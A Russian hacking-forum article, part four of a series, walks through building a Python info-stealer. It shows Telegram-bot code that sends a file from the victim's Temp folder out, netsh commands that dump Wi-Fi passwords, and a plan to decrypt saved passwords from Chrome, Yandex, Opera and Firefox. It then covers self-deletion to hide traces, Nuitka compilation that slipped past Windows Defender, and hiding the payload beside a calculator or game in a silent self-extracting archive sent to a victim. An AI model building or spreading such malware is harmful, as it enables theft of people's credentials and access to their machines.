• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Получаем информацию о системе с помощью Python. Часть #4

И снова здравствуйте. Не буду ходить вокруг да около. В предыдущих статьях по данной теме: первая, вторая, третья, мы рассмотрели некоторые способы сбора информации с компьютера. Но, вот незадача. Ну, собрали мы эту информацию. Узнали, что у пользователя есть, к примеру, два диска, и их объем. Что процессор у него Intel Core i3 и прочую, весьма интересную, но не особо нужную именно нам информацию. Честно говоря, я не особо то придумал, что с ней можно сделать. Конечно же, она представляет собой ценность и собирать ее надо. Лишней точно не будет. Ведь иногда эта информация может указать на нужные нам вектора.

000.jpg

Но, что, если собрать совсем другую информацию, от которой пользы будет намного больше? Допустим. Но, тут еще возникает вопрос, а как ее доставить именно нам? Ведь все будет храниться на компьютере пользователя, где и запускался скрипт. Да и для запуска скрипта нужен python, а в довесок к нему еще надо установить необходимые библиотеки. Не будем же мы просить каждого установить питона и все, что к этому полагается. Да и инструкцию прилагать было бы глупо. Вот давайте и подумаем, как можно решить все эти задачи.

Дисклеймер: Информация, которая описана в данной статье, предоставлена только лишь с целью показать, насколько уязвимы могут быть наши системы. А компании, отвечающие за безопасность, не торопятся устранять эти дыры. И даже небольшая смена алгоритмов уже могла бы защитить обычного пользователя от угроз. Все данные собраны в интернете из открытых источников и просто сведены мной в один, более-менее удобоваримый вид.

В конце статьи небольшое видео по итогам проделанной работы!

Из всех способов доставки информации именно в наши руки можно рассмотреть два, как наиболее логичные. А именно: отправка сообщения на электронную почту и использование телеграмм-бота. Можно рассмотреть еще один, но более экзотический способ, в котором поработать с Яндекс.Диском. Как работать с ним из питона рассмотрено в этой статье. Впрочем, не будем лезть в дебри, из которых можно и не выбраться ). Остановимся на решении, которое будет мгновенным, простым и логичным – телеграмм-бот.

Нет, я не буду учить вас создавать бота. Или многофункциональный комбайн. Здесь у него функция простейшей амебы. Запуститься, отправить и благополучно закрыться. Без всяких команд с нашей стороны. Давайте же с него и начнем. Как со скелета будущего скрипта.

Для того, чтобы бот работал, нужно его создать и получить токен для дальнейшего использования в нашем скрипте. Подробно процесс описывать не стану. Инструкций по созданию бота хватает на просторах интернета. Нужно открыть в телеграмме папу бота: @BotFather. При его запуске будет выкачена на-гора подробная инструкция, как действовать дальше.

screenshot7.png

А вот и сама инструкция:

screenshot8.png

Отправляем ему команду /newbot и процесс создания начнется. У вас попросят название бота, потом название для ссылки, с приставкой имя_бота_bot и, если все в порядке и совпадений не найдено, вам будет выдан токен, который нам, собственно, и нужен.

screenshot9.png

Но, это еще не все. Чтобы все работало так, как нужно, требуется получить user id. Тут все просто. Через поиск нужно найти бота: @username_to_id_bot. Нажать кнопку запустить и в ответ вы получите сообщение с вашим user id. Итак, подготовительный этап закончен. И необходимые данные мы получили. У нас есть токен и user id. Можно начинать «злодействовать».


Что понадобиться?

Нам понадобиться библиотека aiogram. Скорее всего она в данном случае избыточна. Но, с телеботом у меня почему-то не заладилось. Нет, он вполне себе отлично работал. Но вот в дальнейшем из-за него стали возникать проблемы на этапе компиляции. Может, конечно, я его неправильно «готовил». Не буду гадать. Но у меня возникали ошибки и как итог, бот просто не работал. Потому пришлось от него отказаться и попробовать что-то другое. Устанавливаем ее с помощью команды:

pip install aiogram

И еще, нам будет нужно «прибить» бота после того, как он отправит сообщение. Поэтому, требуется импортировать библиотеку os. Вот как будет выглядеть блок импорта:

Python:
import os

from aiogram import Bot
from aiogram.dispatcher import Dispatcher
from aiogram.utils import executor

Специалист я в ботах невеликий. А потому, немного пришлось помучиться, пока я заставил бота делать то, что мне нужно, а не то, что описывают в разных руководствах по созданию ботов. Если что-то можно улучшить, пишите в комментариях. Я с радостью их прочитаю и, если они действительно помогут, приму к сведению. Это только приветствуется.

Давайте продолжим. Создаем объект бота и передаем ему полученный токен. После этого, создаем диспетчер, в который передается объект бота.

Python:
# создем бота и передаем ему токен
bot = Bot(token='ваш_токен')
# создаем объект диспетчера и передаем ему бота
dp = Dispatcher(bot)

Теперь напишем функцию, в которой бот будет делать то, что нам надо. В какой-то мере она заменит собой функцию main().

Здесь на старте бот отправляет файл, который у нас уже будет готов ко времени отправки и благополучно «прибивается» с помощью функции _exit(0).

Python:
async def on_startup():
    bot.send_document(user_id, open(os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Temp",
                                                                 'logs.txt'), 'rb'))
    os._exit(0)

Ну и последний блок, в котором запустим бота, выполним команду с помощью функции start, в которую передаем диспетчера и имя выполняемой функции.

Python:
if __name__ == "__main__":
    # запускаем бота
    executor.start(dp, on_startup())

Ну и на этом все. Бот готов. У него не будет интерфейса, не будет набора команд, так как они ему не нужны от слова совсем. У него одна функция. Запуститься. Собрать инфу, отправить и вырубиться. Что же, давайте двигаться дальше.

Python:
import os

from aiogram import Bot
from aiogram.dispatcher import Dispatcher
from aiogram.utils import executor

# создем бота и передаем ему токен
bot = Bot(token='ваш_токен')
# создаем объект диспетчера и передаем ему бота
dp = Dispatcher(bot)


async def on_startup():
    bot.send_document(user_id, open(os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Temp",
                                                                 'logs.txt'), 'rb'))
    os._exit(0)

if __name__ == "__main__":
    # запускаем бота
    executor.start(dp, on_startup())


Определяем, что будем искать на компьютере пользователя

Думаю, что получить информацию о лицензионном ключе ОС было бы неплохо. А мы как раз получали ее во второй статье (ссылка на статью). Неплохо было бы получить IP-адрес компьютера. Как локальной сети, так и внешний, публичный. Ведь зная публичный адрес можно попробовать получить больше информации о том, где физически находиться пользователь. Хотя, это не особо точная информация. Особенно, если он использует мобильный интернет. Ну да ладно. Думаю, что делать с полученным публичным IP знаю все еще со времен аськи. А потому, его тоже нужно получить.

А что еще можно собрать с компьютера, что точно может заинтересовать? Ну, конечно же, пароли от разных сервисов. А где они хранятся? Ну конечно, в браузерах. Более того, если немного поработать, то можно получить не только логины и пароли, но и историю браузера. Собрать «печеньки» и отправить архивом. Но, это уже на усмотрение. В данном случае нам информации, которую мы получим, будет достаточно. Доработать бота можно будет и позже. По мере необходимости. Можно забрать пароли Wi-Fi. Тем более это очень просто. Но, в данного бота это включено не будет. Это так, для информации. Я просто не могу провести тесты кода, так как у меня нет Wi-Fi подключений. Это можно будет добавить по желанию. Получить информацию можно с помощью двух команд:

Код:
netsh wlan show profiles
netsh wlan show profile "{ssid}" key=clear

В первой получаем профили, а во второй пароли от конкретного профиля, имя которого передаем в ssid. Ну и запускается это с помощью subprocess.check_output. Вывод можно либо очистить от лишнего, либо поискать в выводе нужную информацию с помощью регулярных выражений.

Что же. На данный момент я определился, что мы заберем лицензию ОС, IP-адреса и пароли из четырех популярных браузеров. Начнем по порядку.


Получаем лицензию и IP-адреса

Перед функцией создания бота добавим список для того, чтобы сложить в него полученные значения, а потом записать в файл.

Python:
# создаем список для получаемых значений
info_list = []

Создадим функцию lic_key(). Подробно на ней останавливаться нет особого смысла, так как она была описана в предыдущих статья. Если вкратце, то делаем попытку получить лицензию из BIOS с помощью subprocess.check_output. Если же это не получается, присваиваем переменной пустое значение. Затем проверяем, если значение пустое, выполняем функцию по получению лицензии из реестра. А затем, в зависимости от того, откуда был получен ключ добавляем значение в список. Если же лицензии нет ни в одном из расположений, кладем в список значение «Не найдено». Здесь используется функция product_key библиотеки windows_tools, поэтому, для начала ее нужно установить с помощью команды:

pip install windows_tools.product_key

А затем добавить в импорт:

from windows_tools import product_key

001.png

Теперь давайте узнаем локальный IP-адрес активного сетевого интерфейса. Здесь мы будем использовать сокеты. Поэтому их нужно добавить в импорт: import socket. Используем запрос на SOCK_DGRAM, так называемый «сокет без соединения». В этой функции не требуется соединения с интернетом. Поэтому в ответ мы получим значение IP-адреса и, если произойдет какой-либо сбой, присвоим значение localhost. Затем закроем соединение и добавим то, что получили в список.

002.png

А вот и подошла очередь внешнего, то есть публичного IP. Для более точного понимания проблемы, нужно знать, что у большинства провайдеров нет какого-то одного IP-адреса, жестко закрепленного за определенным клиентом. Только в случае, если нужен «белый», статичный IP. Но, большинству пользователей этого не требуется, поэтому, каждому новому пользователю будет присвоен ближайший свободный адрес на данный момент. При следующем подключении он будет уже другой, из диапазона адресов, которые выделены провайдеру. Так что, определение каких-либо данных по внешнему IP весьма относительно. И можно лишь примерно определить данные о местоположении. Но, провайдера определить можно. Потому, все же эту информацию стоит использовать.

Что же, давайте приступим. Тут все просто. Для получения адреса будем использовать get-запрос к сайту. А поэтому нужно установить библиотеку requests, а после импортировать из нее функцию get. Установка делается стандартно:

pip install requests

А дальше импортируется в скрипт:

from requests import get

003.png

Сайт в ответ на запрос возвращает только лишь внешний IP-адрес. Поэтому, здесь не надо ничего чистить, нужно лишь декодировать ответ в utf-8 и добавить значение в список.

Теперь добавим в функцию бота запуск тех функций, что мы создали для получения данных. После чего, запишем полученную информацию из списка в текстовый файл.

004.png

После этого вызовем функцию main() из файла питона, в котором написаны функции получения данных из браузеров. То, что получиться в итоге, после работы данной функции, отправим в сообщении пользователю, с использованием user_id, затем удаляем созданный файл, который только что отправили, чтобы замести следы, и закрываем бота.

005.png

006.png

На этом создание нашей простейшей «амебы», на данном этапе, можно закончить. Добавить так-то особо нечего. Кроме, может еще каких-либо функций по сбору данных. А пока бот исправно выполняет свою задачу. Теперь давайте перейдем к другому файлу питона с функциями получения данных из браузеров box_bro.py.


Что потребуется?

Да в принципе, ничего особенного. Нужно будет лишь добавить две библиотеки pycryptodome и pypiwin32. Все остальные библиотеки используются стандартные. Устанавливаются командой:

pip install pycryptodome pypiwin32

pycryptodome – это автономный пакет с низкоуровневыми криптографическими примитивами, а pypiwin32 предоставляет доступ к большей части Win32 API, а также поддерживает возможность создавать и использовать COM-объекты.

Вот полный импорт, использующийся в данном скрипте:

Python:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import datetime, timedelta
import firefox_decrypt

Я конечно же не настолько умен, чтобы написать данный код. Моего опыта в написании кода пока что не хватает для того, чтобы сделать подобные сложные вещи. Но, это не отменяет того, что я могу воспользоваться чужими разработками. Ну, даже пусть на уровне «скрипт-кидди». Тем более, что этот код я немного изменил под себя, чтобы использовать в работе не с одним, а сразу же с тремя браузерами.

Двигаемся дальше. Создадим функцию, которая будет возвращать дату в человеческом формате, а не в формате принятом с Google Chrome, с января 1601 года.

007.png

Далее будет функция, с помощью которой декодируется ключ шифрования. Декодирование возможно лишь в том случае, если оно запущено на машине, браузер на которой установлен изначально. Если перенести ключи на другую машину, то ничего не получиться. Поэтому, делать эту операцию нужно на месте.

008.png

Теперь требуется расшифровать пароли. На основании полученного ранее ключа шифрования расшифровывается пароль и возвращается для дальнейшего использования.

009.png


В этой части кода, конкретно в функции start_section(db_path, local_state_path, filename, bro_name), получаем на входе путь к базе данных с паролями. Путь к ключу шифрования, имя файла, в который будем копировать базу. Это для того, чтобы была возможность ее чтения. Так как если данная база будет открыта в браузере, доступ к ней будет запрещен. Поэтому нужно ее скопировать для дальнейшей работы. Ну и название браузера, с которым работаем в данный момент. Оно нужно просто для декорации и понимания в текстовом файле, откуда взяты данные.

010.png

По умолчанию в данном скрипте базы копировались в папку работы скрипта. Но, это не есть хорошо. Так как это палит всю контору. Поэтому я решил размещать их в пользовательской папке Temp. В системную лезть не имеет смысла. Так как ось без прав админа туда просто не пустит. А значит потребуется повышение привилегий. Вылезет UAC и сразу же спалит всё и вся. Там же во временной папке создается и файл с данными для отправки.

Ну и последняя функция main(). В ней просто делается проверка, есть ли данные браузеры на машине клиента. Если есть, запускаем код и передаем нужные параметры директорий и название браузера. Нет, двигаемся дальше.

011.png

012.png

На самом деле, хочу тут сделать небольшое отступление. Безопасность паролей в браузерах – это очень давнишняя и больная тема. Не думаю, что в Google не знают о проблеме. Тем не менее, никто ее за все время, что существует данный код, так и не исправил. А потому, хранить пароли в браузере – та еще затея. Раньше как-то не задумывался об этом. Активно пользоваться менеджером паролей стал только лишь года два назад. А до этого все пароли хранились в браузере. И более того, я знал, что с помощью программ от Nirsoft, к примеру, можно эти пароли получить. Но, как-то не придавал этому значения. Ведь для того, чтобы использовать эти программы, для начала нужно получить доступ к компьютеру. И вот уже сейчас, когда я стал углубляться в данную тему, мне стало даже немного не по себе. И предельно ясно, что безопасностью в браузерах даже и не пахнет.

Более того, возьмем Яндекс.Браузер. Да, у него с Хромом общие корни. Но, тут то и кроется закавыка. Я как-то, года два назад, после очередного обновления браузера увидел, что в нём появилась функция мастер-пароля. Ну, конечно же, я тут же его ввел, чтобы чуть-чуть увеличить безопасность. И каково же было мое удивление, когда после установки браузера Opera он легко и непринужденно перенес, мало того, что все закладки. Это как бы ладно, но еще и все пароли, которые были вроде бы как зашифрованы мастер-паролем. Я тут же написал тикет в поддержку, чтобы они пояснили, как могло так получиться. Но ответ они шлют до сих пор.

А теперь, когда я озадачился поиском решения, как же получить данные из прекрасной разработки Яндекса (нет, ничего не имею против, браузер хороший), нашел то же самое решение, что и у Хрома. Тут меняется только лишь имя файла, в котором хранятся пароли. А вот алгоритм шифрования и все остальные функции остаются такими же, как и у Хромиума, откуда и растут ноги. Так что вместо того, чтобы сделать свою структуру базы данных и алгоритм шифрования ребята просто пошли по пути наименьшего сопротивления, по проторенной дорожке.

Так же очевидно поступили и разработчики из Opera. У них алгоритм действий точно такой же, как и у двух предыдущих конкурентов. Меняются только директории расположения самого браузера. А все остальное такое же дырявое. Тут тоже, наверное, лень и авось делают свое дело.

Мозилла меня приятно удивила, что хотя бы алгоритмом получения паролей отличается от конкурентов. Да и способ их хранения другой. Вы не поверите – в JSON файле. Правда в хэшированном виде. Но, как выясняется, даже это не помогает и не спасает от пытливых умов.

Под Мозиллу нашел целый модуль, в котором есть классы, функции и много чего еще. Я, буду откровенен, не стал глубоко в нем копаться. Пробежался по верхам. Нашел места, где он выводит информацию, убрал все выводы об ошибках, убрал принты и заменил их на запись в файл. Но этом все. Больше ничего не менялось.

Полный код модуля firefox_decrypt в архиве, который находиться во вложении (пароль на архив: test123456)

Ну и конечно же, два модуля, box_bro и firefox_decrypt нужно импортировать.

Что должно получиться в итоге? Три модуля. box_bro, firefox_decrypt и bot, в котором все объединяется в кучу. Для надежности, вдруг что-то не особо понятно, я прикреплю данные модули к статье в архив (пароль на архив: test123456).

Ну, собственно, когда все написано, можно тестировать. Запускаем бота и…

Получаем текстовый файл с данными:

screenshot10.png

А вот содержимое полученного файла, в картинке под спойлером. Данные я конечно же заблюрил, так как они реальные. А мне не хотелось бы, чтобы они начали хоть где-то гулять сами по себе или с помощью добрых людей ))

screenshot6.png

Что же. Тест на получение и отправку вроде бы пройден. Теперь осталось решить задачу по доставке данного кода «клиенту». Тут, понятное дело, в первую очередь выбор пал на библиотеку pyinstaller. А точнее на ее гуёвую разновидность: auto-py-to-exe. Устанавливается она командой:

pip install auto-py-to-exe

Тут все просто настолько, что даже не требуется объяснения. Особенно тем, кто имел дело с pyinstaller. Единственное, что меня слегонца напрягло, это то, что она отказалась работать, пока я не удалил некую библиотеку typing. Ладно. Надо так надо. Удалил. Все заработало. Создался файлик с программулиной.

Вот скриншот свойств данного файлика. Как видно, объем его получился 23,1 Мб, но, дело не в этом.

screenshot5.png

Теперь пришло время тестирования. Запустил я виртуальную машину, закинул туда файл, запускаю и… бабам, вылез антивирус. Встроенный, мелкомягковский. Говорит, вирус у вас. Надо удалить.

screenshot1.png

Ну и переместил его благополучно в карантин. Зараза такая. Правда, пока он старался и боролся, код таки успел выполниться и мне прилетел текстовый файл. Но, это не есть гуд. Это нам не подходит.

screenshot2.png

Решил я тогда поискать других способов превращения кода питона в exe и таки нашел. Тут уже более действенный способ, который реально переводит код сначала в C, а дальше компилирует его в exe. Прям как полноценный компилятор. И можно сказать, что полноценный. Потому, что данные компилируются с помощью gcc. У данного способа тоже много своих нюансов, но тем не менее, на данный момент, думаю, это один из немногих рабочих, и относительно простых. А речь идет о Nuitka.

Установка и использование Nuitka

Устанавливается она, собственно, довольно просто, все по классике:

pip install Nuitka

Ничего не подозревая, я так и сделал. Но вот создание экзешника с ее помощью принесло мне много боли и страдания. Вернее, с помощью установки классическим способом. Для начала я ее просто запустил. Она чего-то пошуршала, поискала и послала меня в пешее эротическое, с целью добычи необходимых ей для работы библиотек. И чем я ее только не пробовал. Находил довольно изощренные способы копирования необходимых библиотек вручную, но, все эти способы не увенчались успехом. Тогда я достал бубен и после недолгого камлания на убывающей луне способ установки данной софтины был все-таки найден.

Для начала я узнал, что она работает с питоном версии 3.9. Вернее, не так. Она наиболее стабильно с ним работает. 3.10 тоже ей поддерживается, но почему-то у меня не прокатило. Потому был выкачан питон нужной версии и установлен в систему. Дальше больше.

Скачиваем версию по ссылке: . Тут уже зависит, конечно же, от разрядности вашей ОС. Но, почему-то мне кажется, что сейчас мало у кого остались системы с разрядностью 32 бит. Ну да ладно. Качаем его и устанавливаем.

После этого открываем командную строку и ставим вот это чудо: zstandard. Без него она отказалась сжимать файлы. Поэтому, пишем:

pip install zstandard

В этой библиотеке содержаться привязки питона для взаимодействия с библиотекой сжатия. Ну и на этом все. Оказалось, достаточно просто. А мучений было много.

Запускал я ее из командной строки. И для того, чтобы корректно все отработало, именно в систему установил модули, которые требуются для работы бота:

Python:
pip install aiogram
pip install requests
pip install windows_tools.product_key
pip install pycryptodome pypiwin32

Теперь запуск:

python -m nuitka --mingw64 имя_бота.py --onefile --windows-disable-console

И все. Началась магия. Правда это доооолгая и меееедленная «эстонская» магия, какая-то. Тут надо сказать, что если вы запускаете ее первый раз, то посидеть и посмотреть за процессом вам придется. Не для того, чтобы им полюбоваться, а для того, чтобы вовремя ввести команду Yes, для скачивания дополнительных модулей для компиляции. Она компилирует не сама, а с помощью gcc, поэтому, нужно скачать достаточно много всего нужного. Я три раза вводил Yes, пока она не сжалилась и не «родила» файл. И да, я почти в полной мере прочувствовал выражение: «она компилируется…». Это было достаточно долго. Но, я выдержал.

Вот что получилось. Ниже на скрине размер файла:

screenshot4.png

В общем-то, размер уменьшился ненамного, но, все Ура! заработало. Я перенес данный файл на машину, которая в первый раз детектировала в exe созданном pyinstaller злобный вирус, запустил и… ничего не произошло. Тишина. Антивирус спокоен и не подает признаков жизни. Код отработал как надо. Сообщение пришло в чат. Красота. Как видим, задача по созданию экзешника, который, пока, не палится антивирусом, решена. Да и в принципе, если уж смотреть шире, то ничего в коде питона запрещенного нет. Так, ковыряние в песочке.

И да, надо подумать о том, что неплохо бы было, если бы бот после того, как отработает, получит информацию и отправит в чат – удалил сам себя. Чтобы уж совсем не отсвечивать и не оставлять следов. А потому нужно добавить в секцию импорта:

from sys import argv

В тело кода дополнительную функцию, в которой будут запускаться процессы:

013.png

И после того, как бот все сделает, удалит отправленный файл с компьютера, непосредственно перед его закрытием вставить код:

014.png

Где filename это имя бота, а run, запускаемая функция с командами. Первая делает паузу на указанное количество секунд, чтобы бот успел себя закрыть. А вторая удаляет файл бота. Я на всякий случай указал количество секунд побольше. Неизвестно же, насколько быстрая машина, на которой запускается код. А этого времени должно хватить. Вот и все. Теперь, можно сказать, бот готов. А добавлять в него функции можете уже по своему усмотрению. В демке хватит и этого.

015.png


А теперь о способах доставки. Я попробовал сделать так. Взял для примера калькулятор из системы: calc.exe. А можно скачать какую-нибудь игру в одном файле. Для правдоподобности. Потому как игра даже играть будет. Выделяем экзешник нашего бота и калькулятора и выбираем «Добавить в архив». Ставим галочку «Самораспаковывающийся архив». А также меняем имя на что-то правдоподобное.

screenshot12.png

Теперь идем на вкладку «Дополнительно» и жмем кнопку «Параметры SFX».

screenshot13.png

На вкладке «Обновление» ставим переключатели в положение «Извлечь и обновить файлы» и «Перезаписывать все файлы без запроса».

screenshot14.png

Переходим на вкладку «Установка» и вписываем сначала имя файла, который является основным, то есть калькулятор, а затем имя файла нагрузки с расширением.

screenshot15.png

Двигаемся дальше и идем на вкладку «Режимы». Ставим галочку на пункт «Распаковать во временную папку» и дальше выбираем пункт «Скрыть все».

screenshot16.png

Теперь переходим на вкладку «Текст и графика». Нужно предварительно скачать иконку для создаваемого файла и в пункте «Загрузить значок SFX из файла» выбираем скачанную иконку.

screenshot17.png

На этом, собственно, и все. Можно создавать архив. Вот что у меня получилось:

screenshot18.png

Запустил созданный самораспаковывающийся архив. Все отработало просто отлично. Калькулятор запустился, бот отработал, самовыкорчевался и прислал сообщение. Вот такая вот получилась история. Теперь можно отправить кому-нибудь данную приблуду. Ну, где и как это дело вкуса. СИ надо тоже изучать ))

Тут одна странность или нет, не знаю. Попробовал запаковать на той же машине, где делал exe. Калькулятор запихал. Запускаю, антивирус ругается. Ладно. Скачал какого-то сапера. Так же все запаковал. Но, на другой машине. Скопировал и запустил. Все отработало хорошо. Антивирус не ругался. Не знаю, с чем это связано, но могу еще предположить, что частично с тем, на какой машине запаковываешь.


Подведем итоги

Что же. Вот и закончили статьи о сборе информации. Что мы узнали в этих статьях?

  1. Научились получать информацию о системе и ее параметрах;
  2. Научились получать информацию о железе;
  3. Научились получать локальный IP и сканировать открытые порты;
  4. Научились собирать информацию из браузеров и отправлять с помощью бота. А также упаковке созданного скрипта в exe-файл, который не детектируется антивирусом, по крайней мере, пока.

Спасибо за внимание. Надеюсь, что данная информация будет кому-нибудь полезной

UPD:
С антивирусами ситуация странная. Не знаю, с чем связано, но, я решил заморочиться и потестировать бота на двух антивирях: встроенном виндовом защитнике и каспере клауд, который сейчас бесплатный. И получилось, что проверяю бота, который компилирован nuitka, каспер говорит, что все в порядке. Виндовый антивирь тоже поначалу никак не реагирует, но со временем, минут через несколько начинает пищать, что в проге троян. Причем каспером я сканировал бота напрямую.

Специально скомпилировал файлик с "Hello Word". Вернее два. Один PyInstaller, другой Nuitka. И тут ситуация другая. Тот, что с PyInstaller запускался и работал без проблем. Тот, что скомпилирован Nuitka оказался со злобным трояном и каспер не хотел его пропускать. В общем, понял я одно. Тут сказать однозначно будет детектиться скрипт или нет, сложно. Можно лишь надеяться в данном случае на удачу, что ли. Если повезет, то все отработает.

Тут похоже надо действовать хитрее. Видел статью, где разбирали малварь на vba. Так там даже переменные шифровались и расшифровывались на лету. Кто знает, может быть, чтобы не детектились проги нужно копать в эту сторону... Поживем - увидим.

Спасибо за внимание
 

Вложения

  • bot.zip
    14,8 КБ · Просмотры: 137
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!